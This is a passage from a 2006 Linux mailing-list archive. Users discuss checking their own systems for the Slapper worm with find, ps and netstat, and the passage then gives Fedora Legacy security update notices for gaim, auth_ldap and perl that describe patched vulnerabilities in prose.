AOL/TW attorneys please note, additions to the above message by Gene Heskett are: Copyright 2005 by Maurice Eugene Heskett, all rights reserved. From mike.mccarty at sbcglobal.net Tue Jan 24 20:18:18 2006 From: mike.mccarty at sbcglobal.net (Mike McCarty) Date: Tue, 24 Jan 2006 14:18:18 -0600 Subject: slapper worm In-Reply-To: <200601241500.19719.gene.heskett@verizon.net> References: <20060123202711.M4829@npgx.com.au> <43D67B44.6010707@sbcglobal.net> <200601241320.12002.lsomike@futzin.com> <200601241500.19719.gene.heskett@verizon.net> Message-ID: <43D68B8A.4050205@sbcglobal.net> Gene Heskett wrote: > On Tuesday 24 January 2006 14:20, Mike Klinke wrote: > >>On Tuesday 24 January 2006 13:08, Mike McCarty wrote: >> >>>I'm a little shocked at this, frankly. I Googled around, and >>>found mentions of the Slapper going back to 2002. Why is it that >>>this exploit (and variations of it) haven't all been stamped >>>out years ago? >> >>Read the link I posted yesterday, according to them, it's been >>rewritten to exploit new ways to get in to your box. >> >>http://www.lurhq.com/slapperv2.html >> > > If this file mentioned on the site doesn't exist on any of my systems, > is it safe to assume relative safety against this attack? > > I would think so when combined with the ISP's (vz) blocking of port 80, > but what do I know... Thats why I asked, Mike. I suppose you mean "Mike Klinke" and not "Mike McCarty" :-) I dunno. I just ran # find / -nmae xmlrpc.php -print and didn't come up with anything. But that's expected, since I run behind a router set up as a firewall, completely stealth except for the e-mail challenge port (which is closed). A $ ps -A | grep pache $ ps -A | grep ssl doesn't show anything, so Apache isn't running, and I guess SSL isn't either. Mike -- p="p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);} This message made from 100% recycled bits. You have found the bank of Larn. I can explain it for you, but I can't understand it for you. I speak only for myself, and I am unanimous in that! From mike.mccarty at sbcglobal.net Tue Jan 24 20:29:28 2006 From: mike.mccarty at sbcglobal.net (Mike McCarty) Date: Tue, 24 Jan 2006 14:29:28 -0600 Subject: slapper worm In-Reply-To: <43D68B8A.4050205@sbcglobal.net> References: <20060123202711.M4829@npgx.com.au> <43D67B44.6010707@sbcglobal.net> <200601241320.12002.lsomike@futzin.com> <200601241500.19719.gene.heskett@verizon.net> <43D68B8A.4050205@sbcglobal.net> Message-ID: <43D68E28.1000502@sbcglobal.net> Mike McCarty wrote: > Gene Heskett wrote: > >> On Tuesday 24 January 2006 14:20, Mike Klinke wrote: >> >>> On Tuesday 24 January 2006 13:08, Mike McCarty wrote: >>> >>>> I'm a little shocked at this, frankly. I Googled around, and >>>> found mentions of the Slapper going back to 2002. Why is it that >>>> this exploit (and variations of it) haven't all been stamped >>>> out years ago? >>> >>> >>> Read the link I posted yesterday, according to them, it's been >>> rewritten to exploit new ways to get in to your box. >>> >>> http://www.lurhq.com/slapperv2.html >>> >> >> If this file mentioned on the site doesn't exist on any of my systems, >> is it safe to assume relative safety against this attack? >> >> I would think so when combined with the ISP's (vz) blocking of port >> 80, but what do I know... Thats why I asked, Mike. > > > I suppose you mean "Mike Klinke" and not "Mike McCarty" :-) > > I dunno. I just ran > > # find / -nmae xmlrpc.php -print What I get for typing that in instead of cut and paste. Of course, that was "name" not "nmae". Mike -- p="p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);} This message made from 100% recycled bits. You have found the bank of Larn. I can explain it for you, but I can't understand it for you. I speak only for myself, and I am unanimous in that! From mic at npgx.com.au Tue Jan 24 20:42:05 2006 From: mic at npgx.com.au (Michael Mansour) Date: Wed, 25 Jan 2006 06:42:05 +1000 Subject: slapper worm In-Reply-To: <43D68B8A.4050205@sbcglobal.net> References: <20060123202711.M4829@npgx.com.au> <43D67B44.6010707@sbcglobal.net> <200601241320.12002.lsomike@futzin.com> <200601241500.19719.gene.heskett@verizon.net> <43D68B8A.4050205@sbcglobal.net> Message-ID: <20060124203921.M36234@npgx.com.au> Hi Mike, > Gene Heskett wrote: > > On Tuesday 24 January 2006 14:20, Mike Klinke wrote: > > > >>On Tuesday 24 January 2006 13:08, Mike McCarty wrote: > >> > >>>I'm a little shocked at this, frankly. I Googled around, and > >>>found mentions of the Slapper going back to 2002. Why is it that > >>>this exploit (and variations of it) haven't all been stamped > >>>out years ago? > >> > >>Read the link I posted yesterday, according to them, it's been > >>rewritten to exploit new ways to get in to your box. > >> > >>http://www.lurhq.com/slapperv2.html > >> > > > > If this file mentioned on the site doesn't exist on any of my systems, > > is it safe to assume relative safety against this attack? > > > > I would think so when combined with the ISP's (vz) blocking of port 80, > > but what do I know... Thats why I asked, Mike. > > I suppose you mean "Mike Klinke" and not "Mike McCarty" :-) > > I dunno. I just ran > > # find / -nmae xmlrpc.php -print You should be able to use "locate" for speed in searching, prior to that you may run "updatedb&" to update the slocate database. > and didn't come up with anything. But that's expected, since > I run behind a router set up as a firewall, completely stealth > except for the e-mail challenge port (which is closed). A > > $ ps -A | grep pache I think you would need to look for the "http" process. > $ ps -A | grep ssl You should do a "netstat -na | grep SYN", if you see alot of those then slapper is there DOS attacking people. Michael. > doesn't show anything, so Apache isn't running, and I guess > SSL isn't either. > > Mike From jkosin at beta.intcomgrp.com Tue Jan 24 21:01:08 2006 From: jkosin at beta.intcomgrp.com (James Kosin) Date: Tue, 24 Jan 2006 16:01:08 -0500 Subject: slapper worm In-Reply-To: <43D68B8A.4050205@sbcglobal.net> References: <20060123202711.M4829@npgx.com.au> <43D67B44.6010707@sbcglobal.net> <200601241320.12002.lsomike@futzin.com> <200601241500.19719.gene.heskett@verizon.net> <43D68B8A.4050205@sbcglobal.net> Message-ID: <43D69594.1020000@beta.intcomgrp.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mike McCarty wrote: <<--snip-->> > > $ ps -A | grep pache > $ ps -A | grep ssl > > doesn't show anything, so Apache isn't running, and I guess > SSL isn't either. > > Mike Mike, ps -A | grep httpd /* Apache is only the name of the server not the rpm or application running */ SSL is a module of apache that allows SSL connections the actual name of the module is mod_ssl and it usually enabled in the default apache configuration for redhat/fedora. James -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD1pWUkNLDmnu1kSkRAkFaAJ9ADF/2hwQysfKseqWrOW0eRvwrTACePBf/ sRmQ1APq2dcjkRMHYOZct3M= =dR8+ -----END PGP SIGNATURE----- -- Scanned by ClamAV - http://www.clamav.net From mike.mccarty at sbcglobal.net Tue Jan 24 21:42:42 2006 From: mike.mccarty at sbcglobal.net (Mike McCarty) Date: Tue, 24 Jan 2006 15:42:42 -0600 Subject: slapper worm In-Reply-To: <20060124203921.M36234@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> <43D67B44.6010707@sbcglobal.net> <200601241320.12002.lsomike@futzin.com> <200601241500.19719.gene.heskett@verizon.net> <43D68B8A.4050205@sbcglobal.net> <20060124203921.M36234@npgx.com.au> Message-ID: <43D69F52.3090506@sbcglobal.net> Michael Mansour wrote: > Hi Mike, > > I wrote the stuff in >> >>I suppose you mean "Mike Klinke" and not "Mike McCarty" :-) >> >>I dunno. I just ran >> >># find / -nmae xmlrpc.php -print > > > You should be able to use "locate" for speed in searching, prior to that you > may run "updatedb&" to update the slocate database. I am aware of "locate". Thanks! >>and didn't come up with anything. But that's expected, since >>I run behind a router set up as a firewall, completely stealth >>except for the e-mail challenge port (which is closed). A >> >>$ ps -A | grep pache > > > I think you would need to look for the "http" process. $ ps -A | grep ttp $ > You should do a "netstat -na | grep SYN", if you see alot of those then > slapper is there DOS attacking people. $ netstat -na | grep SYN $ Thanks for the advice. But, as I am behind a stealth firewall, I feel relatively secured against *this* type of attack. Umm, what does "there DOS attacking people"? I had problems parsing that. Mike -- p="p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);} This message made from 100% recycled bits. You have found the bank of Larn. I can explain it for you, but I can't understand it for you. I speak only for myself, and I am unanimous in that! From mike.mccarty at sbcglobal.net Tue Jan 24 21:44:18 2006 From: mike.mccarty at sbcglobal.net (Mike McCarty) Date: Tue, 24 Jan 2006 15:44:18 -0600 Subject: slapper worm In-Reply-To: <43D69594.1020000@beta.intcomgrp.com> References: <20060123202711.M4829@npgx.com.au> <43D67B44.6010707@sbcglobal.net> <200601241320.12002.lsomike@futzin.com> <200601241500.19719.gene.heskett@verizon.net> <43D68B8A.4050205@sbcglobal.net> <43D69594.1020000@beta.intcomgrp.com> Message-ID: <43D69FB2.10104@sbcglobal.net> James Kosin wrote: > Mike McCarty wrote: > <<--snip-->> > >>$ ps -A | grep pache >>$ ps -A | grep ssl >> >>doesn't show anything, so Apache isn't running, and I guess >>SSL isn't either. >> >>Mike > > > Mike, > > ps -A | grep httpd /* Apache is only the name of the server > not the rpm or application running */ > > SSL is a module of apache that allows SSL connections the actual name of > the module is mod_ssl and it usually enabled in the default apache > configuration for redhat/fedora. Thanks for the info... $ ps -A | grep ttp Mike -- p="p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);} This message made from 100% recycled bits. You have found the bank of Larn. I can explain it for you, but I can't understand it for you. I speak only for myself, and I am unanimous in that! From jkeating at j2solutions.net Tue Jan 24 21:49:44 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Tue, 24 Jan 2006 13:49:44 -0800 Subject: slapper worm In-Reply-To: <43D69F52.3090506@sbcglobal.net> References: <20060123202711.M4829@npgx.com.au> <43D67B44.6010707@sbcglobal.net> <200601241320.12002.lsomike@futzin.com> <200601241500.19719.gene.heskett@verizon.net> <43D68B8A.4050205@sbcglobal.net> <20060124203921.M36234@npgx.com.au> <43D69F52.3090506@sbcglobal.net> Message-ID: <1138139385.2601.70.camel@ender> On Tue, 2006-01-24 at 15:42 -0600, Mike McCarty wrote: > Umm, what does "there DOS attacking people"? I had problems > parsing that. Denial Of Service. Flooding your system with bunk data so that no other valid data can get in or out of your network. Makes your system look like it has dropped off the face of the Internet. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From mic at npgx.com.au Tue Jan 24 22:14:07 2006 From: mic at npgx.com.au (Michael Mansour) Date: Wed, 25 Jan 2006 08:14:07 +1000 Subject: slapper worm In-Reply-To: <43D69F52.3090506@sbcglobal.net> References: <20060123202711.M4829@npgx.com.au> <43D67B44.6010707@sbcglobal.net> <200601241320.12002.lsomike@futzin.com> <200601241500.19719.gene.heskett@verizon.net> <43D68B8A.4050205@sbcglobal.net> <20060124203921.M36234@npgx.com.au> <43D69F52.3090506@sbcglobal.net> Message-ID: <20060124221310.M11081@npgx.com.au> Hi Mike, > > You should do a "netstat -na | grep SYN", if you see alot of those then > > slapper is there DOS attacking people. > > $ netstat -na | grep SYN > $ > > Thanks for the advice. But, as I am behind a stealth firewall, > I feel relatively secured against *this* type of attack. > > Umm, what does "there DOS attacking people"? I had problems > parsing that. I should have written it DoS, stands for Denial of Service. Michael. From lsomike at futzin.com Tue Jan 24 22:15:33 2006 From: lsomike at futzin.com (Mike Klinke) Date: Tue, 24 Jan 2006 16:15:33 -0600 Subject: slapper worm In-Reply-To: <200601241500.19719.gene.heskett@verizon.net> References: <20060123202711.M4829@npgx.com.au> <200601241320.12002.lsomike@futzin.com> <200601241500.19719.gene.heskett@verizon.net> Message-ID: <200601241615.33460.lsomike@futzin.com> On Tuesday 24 January 2006 14:00, Gene Heskett wrote: > If this file mentioned on the site doesn't exist on any of my > systems, is it safe to assume relative safety against this > attack? > As Michael Mansour discovered, he had this file on only one of three FC1 machines after he installed "Drupal", a content management package. If you don't have it on your system you should be fine from this particular attack ( Also note the comments about the Awstats package in the link I sent ). Regards, Mike Klinke From mike.mccarty at sbcglobal.net Tue Jan 24 22:31:46 2006 From: mike.mccarty at sbcglobal.net (Mike McCarty) Date: Tue, 24 Jan 2006 16:31:46 -0600 Subject: slapper worm In-Reply-To: <20060124221310.M11081@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> <43D67B44.6010707@sbcglobal.net> <200601241320.12002.lsomike@futzin.com> <200601241500.19719.gene.heskett@verizon.net> <43D68B8A.4050205@sbcglobal.net> <20060124203921.M36234@npgx.com.au> <43D69F52.3090506@sbcglobal.net> <20060124221310.M11081@npgx.com.au> Message-ID: <43D6AAD2.9080501@sbcglobal.net> Michael Mansour wrote: > Hi Mike, > > >>>You should do a "netstat -na | grep SYN", if you see alot of those then >>>slapper is there DOS attacking people. >> >>$ netstat -na | grep SYN >>$ >> >>Thanks for the advice. But, as I am behind a stealth firewall, >>I feel relatively secured against *this* type of attack. >> >>Umm, what does "there DOS attacking people"? I had problems >>parsing that. > > > I should have written it DoS, stands for Denial of Service. Thanks. I'm familiar with DoS attacks. Ok, got it. Mike -- p="p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);} This message made from 100% recycled bits. You have found the bank of Larn. I can explain it for you, but I can't understand it for you. I speak only for myself, and I am unanimous in that! From marcdeslauriers at videotron.ca Tue Jan 24 23:30:21 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Tue, 24 Jan 2006 18:30:21 -0500 Subject: Fedora Legacy Test Update Notification: gaim Message-ID: <43D6B88D.6020909@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Test Update Notification FEDORALEGACY-2005-158543 Bugzilla https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=158543 2006-01-24 --------------------------------------------------------------------- Name : gaim 7.3 Version : gaim-1.5.0-0.73.1.legacy 9 Version : gaim-1.5.0-0.90.1.legacy fc1 Version : gaim-1.5.0-1.fc1.1.legacy fc2 Version : gaim-1.5.0-1.fc2.1.legacy Summary : A GTK+ clone of the AOL Instant Messenger client. Description : Gaim is a clone of America Online's Instant Messenger client. It features nearly all of the functionality of the official AIM client while also being smaller, faster, and commercial-free. --------------------------------------------------------------------- Update Information: An updated gaim package that fixes various security issues as well as a number of bugs is now available. The Gaim application is a multi-protocol instant messaging client. Two HTML parsing bugs were discovered in Gaim. It is possible that a remote attacker could send a specially crafted message to a Gaim client, causing it to crash. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the names CAN-2005-0208 and CAN-2005-0473 to these issues. A bug in the way Gaim processes SNAC packets was discovered. It is possible that a remote attacker could send a specially crafted SNAC packet to a Gaim client, causing the client to stop responding. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0472 to this issue. A buffer overflow bug was found in the way gaim escapes HTML. It is possible that a remote attacker could send a specially crafted message to a Gaim client, causing it to crash. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0965 to this issue. A bug was found in several of gaim's IRC processing functions. These functions fail to properly remove various markup tags within an IRC message. It is possible that a remote attacker could send a specially crafted message to a Gaim client connected to an IRC server, causing it to crash. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0966 to this issue. A bug was found in gaim's Jabber message parser. It is possible for a remote Jabber user to send a specially crafted message to a Gaim client, causing it to crash. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0967 to this issue. A stack based buffer overflow bug was found in the way gaim processes a message containing a URL. A remote attacker could send a carefully crafted message resulting in the execution of arbitrary code on a victim's machine. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-1261 to this issue. A bug was found in the way gaim handles malformed MSN messages. A remote attacker could send a carefully crafted MSN message causing gaim to crash. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-1262 to this issue. A heap based buffer overflow issue was discovered in the way Gaim processes away messages. A remote attacker could send a specially crafted away message to a Gaim user logged into AIM or ICQ that could result in arbitrary code execution. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-2103 to this issue. Daniel Atallah discovered a denial of service issue in Gaim. A remote attacker could attempt to upload a file with a specially crafted name to a user logged into AIM or ICQ, causing Gaim to crash. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-2102 to this issue. A denial of service bug was found in Gaim's Gadu Gadu protocol handler. A remote attacker could send a specially crafted message to a Gaim user logged into Gadu Gadu, causing Gaim to crash. Please note that this issue only affects PPC and IBM S/390 systems running Gaim. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-2370 to this issue. Jacopo Ottaviani discovered a bug in the way Gaim handles Yahoo! Messenger file transfers. It is possible for a malicious user to send a specially crafted file transfer request that causes Gaim to crash. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-1269 to this issue. Additionally, Hugo de Bokkenrijder discovered a bug in the way Gaim parses MSN Messenger messages. It is possible for a malicious user to send a specially crafted MSN Messenger message that causes Gaim to crash. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-1934 to this issue. Additionally, various client crashes, memory leaks, and protocol issues have been resolved. Users of Gaim are advised to upgrade to this updated package which contains Gaim version 1.5.0 and is not vulnerable to these issues. --------------------------------------------------------------------- 7.3 changelog: * Wed Jan 18 2006 Marc Deslauriers 1.5.0-0.73.1.legacy - Updated to 1.5.0 to fix security issues - Added CVS backport patches from FC4 * Mon May 23 2005 Marc Deslauriers 1.3.0-0.73.1.legacy - Updated to 1.3.0 to fix security issues * Sun May 01 2005 Marc Deslauriers 1.2.1-0.73.2.legacy - Added fix for perl plugin * Sat Apr 16 2005 Marc Deslauriers 1.2.1-0.73.1.legacy - Updated to 1.2.1 to fix security issues - Added CVS backport patches from RHEL * Thu Mar 10 2005 Marc Deslauriers 1.1.4-0.73.1.legacy - Updated to 1.1.4 to fix security issues - Added CVS backport patches from RHEL 9 changelog: * Thu Jan 19 2006 Marc Deslauriers 1:1.5.0-0.90.1.legacy - Rebuilt as Fedora Legacy rh9 security update - Added desktop-file-utils, mozilla-nspr-devel and mozilla-nss BuildRequires - Added fix for perl plugin - Disabled PIE patch fc1 changelog: * Sat Jan 21 2006 Marc Deslauriers 1:1.5.0-1.fc1.1.legacy - Rebuilt as Fedora Legacy FC1 security update - Added desktop-file-utils to BuildRequires fc2 changelog: * Thu Jan 19 2006 Marc Deslauriers 1:1.5.0-1.fc2.1.legacy - Rebuilt as Fedora Legacy update for FC2 - Added desktop-file-utils to BuildRequires --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/ (sha1sums) a51c47a7e69e2ae0de301b5aea04a078a34bd494 redhat/7.3/updates-testing/i386/gaim-1.5.0-0.73.1.legacy.i386.rpm cf664d6dea2391a620286c2a0558f344128dc09b redhat/7.3/updates-testing/SRPMS/gaim-1.5.0-0.73.1.legacy.src.rpm 99901a3c55dc899071cd0373c71ce18b694e38d0 redhat/9/updates-testing/i386/gaim-1.5.0-0.90.1.legacy.i386.rpm 47f2231f0085bfd8c24e3a01ae707781543bb243 redhat/9/updates-testing/SRPMS/gaim-1.5.0-0.90.1.legacy.src.rpm fda20f97bf8c2ce8a5075c579bcbf6c3e3a66e81 fedora/1/updates-testing/i386/gaim-1.5.0-1.fc1.1.legacy.i386.rpm 8be725ea3874e315278e4926ed72930c74a3d6df fedora/1/updates-testing/SRPMS/gaim-1.5.0-1.fc1.1.legacy.src.rpm d8c6b98a019633a8a2debd6e2a86daccae6cdeda fedora/2/updates-testing/i386/gaim-1.5.0-1.fc2.1.legacy.i386.rpm 46e6ff8101c40018ab98b7f3c5e01f656eb2cdfe fedora/2/updates-testing/SRPMS/gaim-1.5.0-1.fc2.1.legacy.src.rpm --------------------------------------------------------------------- Please test and comment in bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From marcdeslauriers at videotron.ca Tue Jan 24 23:31:02 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Tue, 24 Jan 2006 18:31:02 -0500 Subject: Fedora Legacy Test Update Notification: auth_ldap Message-ID: <43D6B8B6.1060803@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Test Update Notification FEDORALEGACY-2006-177694 Bugzilla https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=177694 2006-01-24 --------------------------------------------------------------------- Name : auth_ldap Versions : rh7.3: auth_ldap-1.6.0-4.2.legacy Summary : This is an LDAP authentication module for Apache. Description : This is an authentication module for Apache that allows you to authenticate HTTP clients using user entries in an LDAP directory. --------------------------------------------------------------------- Update Information: An updated auth_ldap package that fixes a format string security issue is now available for testing for Red Hat Linux 7.3. The auth_ldap package is an httpd module that allows user authentication against information stored in an LDAP database. A format string flaw was found in the way auth_ldap logs information. It may be possible for a remote attacker to execute arbitrary code as the 'apache' user if auth_ldap is used for user authentication. The Common Vulnerabilities and Exposures project (cve.mitre.org) assigned the name CVE-2006-0150 to this issue. Note that this issue only affects servers that have auth_ldap installed and configured to perform user authentication against an LDAP database. All users of auth_ldap should upgrade to this updated package, which contains a backported patch to resolve this issue. This issue does not affect Red Had Linux 9, Fedora Core 1, 2 or 3 distributions as they do not include the auth_ldap package. --------------------------------------------------------------------- Changelogs * Wed Jan 18 2006 David Eisenstein 1.6.0-4.2.legacy - Add BuildRequires: apache, openldap, mm, mm-devel * Wed Jan 18 2006 David Eisenstein 1.6.0-4.1.legacy - Add patch (forward-ported from RHEL2.1's patch) for CVE-2006-0150, format string vulnerability. Bugzilla Bug #177694. --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/ (sha1sums) 38f70135bc17c313fecdb81f61e776ac032b796e redhat/7.3/updates-testing/i386/auth_ldap-1.6.0-4.2.legacy.i386.rpm 78b7ee876d5b900ff5268b1a396a59ca9f2385f0 redhat/7.3/updates-testing/SRPMS/auth_ldap-1.6.0-4.2.legacy.src.rpm --------------------------------------------------------------------- Please test and comment in bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From marcdeslauriers at videotron.ca Tue Jan 24 23:31:53 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Tue, 24 Jan 2006 18:31:53 -0500 Subject: [FLSA-2006:152845] Updated perl packages fix security issues Message-ID: <43D6B8E9.4080506@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated perl packages fix security issues Advisory ID: FLSA:152845 Issue date: 2006-01-24 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CVE-2004-0452 CVE-2004-0976 CVE-2005-0155 CVE-2005-0156 CVE-2005-0448 --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Topic: Updated perl packages that fix several security flaws are now available. Perl is a high-level programming language commonly used for system administration utilities and Web programming. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 Fedora Core 2 - i386 3. Problem description: An unsafe file permission bug was discovered in the rmtree() function in the File::Path module. The rmtree() function removes files and directories in an insecure manner, which could allow a local user to read or delete arbitrary files. The Common Vulnerabilities and Exposures project has assigned the name CVE-2004-0452 to this issue. Solar Designer discovered several temporary file bugs in various Perl modules. A local attacker could overwrite or create files as the user running a Perl script that uses a vulnerable module. The Common Vulner- abilities and Exposures project has assigned the name CVE-2004-0976 to this issue. Kevin Finisterre discovered a stack based buffer overflow flaw in sperl, the Perl setuid wrapper. A local user could create a sperl executable script with a carefully created path name, overflowing the buffer and leading to root privilege escalation. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2005-0156 to this issue. Kevin Finisterre discovered a flaw in sperl which can cause debugging information to be logged to arbitrary files. By setting an environment variable, a local user could cause sperl to create, as root, files with arbitrary filenames, or append the debugging information to existing files. The Common Vulnerabilities and Exposures project has assigned the name CVE-2005-0155 to this issue. Paul Szabo discovered a bug in the way Perl's File::Path::rmtree module removed directory trees. If a local user has write permissions to a subdirectory within the tree being removed by File::Path::rmtree, it is possible for them to create setuid binary files. The Common Vulner- abilities and Exposures project has assigned the name CVE-2005-0448 to this issue. (This issue updates CVE-2004-0452). Users of perl are advised to upgrade to these packages which contain backported patches and are not vulnerable to these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152845 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/perl-5.6.1-38.0.7.3.3.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/perl-5.6.1-38.0.7.3.3.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/perl-CGI-2.752-38.0.7.3.3.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/perl-CPAN-1.59_54-38.0.7.3.3.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/perl-DB_File-1.75-38.0.7.3.3.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/perl-NDBM_File-1.75-38.0.7.3.3.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/perl-suidperl-5.6.1-38.0.7.3.3.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/perl-5.8.0-90.0.12.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/perl-5.8.0-90.0.12.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/perl-CGI-2.81-90.0.12.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/perl-CPAN-1.61-90.0.12.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/perl-DB_File-1.804-90.0.12.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/perl-suidperl-5.8.0-90.0.12.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/perl-5.8.3-17.4.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/perl-5.8.3-17.4.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/perl-suidperl-5.8.3-17.4.legacy.i386.rpm Fedora Core 2: SRPM: http://download.fedoralegacy.org/fedora/2/updates/SRPMS/perl-5.8.3-19.3.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/2/updates/i386/perl-5.8.3-19.3.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/perl-suidperl-5.8.3-19.3.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------- ac3b7161e09878545dc1e499ad4d1c1de5cf8a42 redhat/7.3/updates/i386/perl-5.6.1-38.0.7.3.3.legacy.i386.rpm d5d8c6c4b2b77fc14b0720dcad3c799f3dfdf759 redhat/7.3/updates/i386/perl-CGI-2.752-38.0.7.3.3.legacy.i386.rpm c0a405c744e2b047fefd9e189da08f84433538d4 redhat/7.3/updates/i386/perl-CPAN-1.59_54-38.0.7.3.3.legacy.i386.rpm 9380974623d1c7e9283823cc6a300c1486cb1052 redhat/7.3/updates/i386/perl-DB_File-1.75-38.0.7.3.3.legacy.i386.rpm 0b1c087c7aa5d97118e84e471fe154599104260f redhat/7.3/updates/i386/perl-NDBM_File-1.75-38.0.7.3.3.legacy.i386.rpm 28c36210be8c7207264fc2b55cdcedf7d1e4bb80 redhat/7.3/updates/i386/perl-suidperl-5.6.1-38.0.7.3.3.legacy.i386.rpm 41fe2199272ab4d601634650be781753d391d750 redhat/7.3/updates/SRPMS/perl-5.6.1-38.0.7.3.3.legacy.src.rpm d889ae85e1585e93aa76cd67edab80a2c1f0e076 redhat/9/updates/i386/perl-5.8.0-90.0.12.legacy.i386.rpm 0615bbecd89001917ef70e0a60f20d5c5c50a732 redhat/9/updates/i386/perl-CGI-2.81-90.0.12.legacy.i386.rpm 9b06404d6d324b322fc5f959d78d678e3dc823e9 redhat/9/updates/i386/perl-CPAN-1.61-90.0.12.legacy.i386.rpm 05234d09cec06556e3208efe95363bf3b07100d1 redhat/9/updates/i386/perl-DB_File-1.804-90.0.12.legacy.i386.rpm bfa538993bf4554703fd25dcb44e06a8aeb75484 redhat/9/updates/i386/perl-suidperl-5.8.0-90.0.12.legacy.i386.rpm d73eb66c03bf06bea9fb861c33de5bc0484e2b9f redhat/9/updates/SRPMS/perl-5.8.0-90.0.12.legacy.src.rpm 3211332bad74a6965dac37a726d46dba88adc226 fedora/1/updates/i386/perl-5.8.3-17.4.legacy.i386.rpm 156099d6f6f56bd1c8a0db137e2ee3c66104771e fedora/1/updates/i386/perl-suidperl-5.8.3-17.4.legacy.i386.rpm 3f5ffa320347a2cc9e98219a57a637da5e2b08f8 fedora/1/updates/SRPMS/perl-5.8.3-17.4.legacy.src.rpm 6c43d3e838f4edb74a120134455990725b589b89 fedora/2/updates/i386/perl-5.8.3-19.3.legacy.i386.rpm 561aa026e227438489430b8c245439fada4cc23f fedora/2/updates/i386/perl-suidperl-5.8.3-19.3.legacy.i386.rpm 56cd349370c7c83e9c25b8207dd114b5169898a9 fedora/2/updates/SRPMS/perl-5.8.3-19.3.legacy.src.rpm These packages are GPG 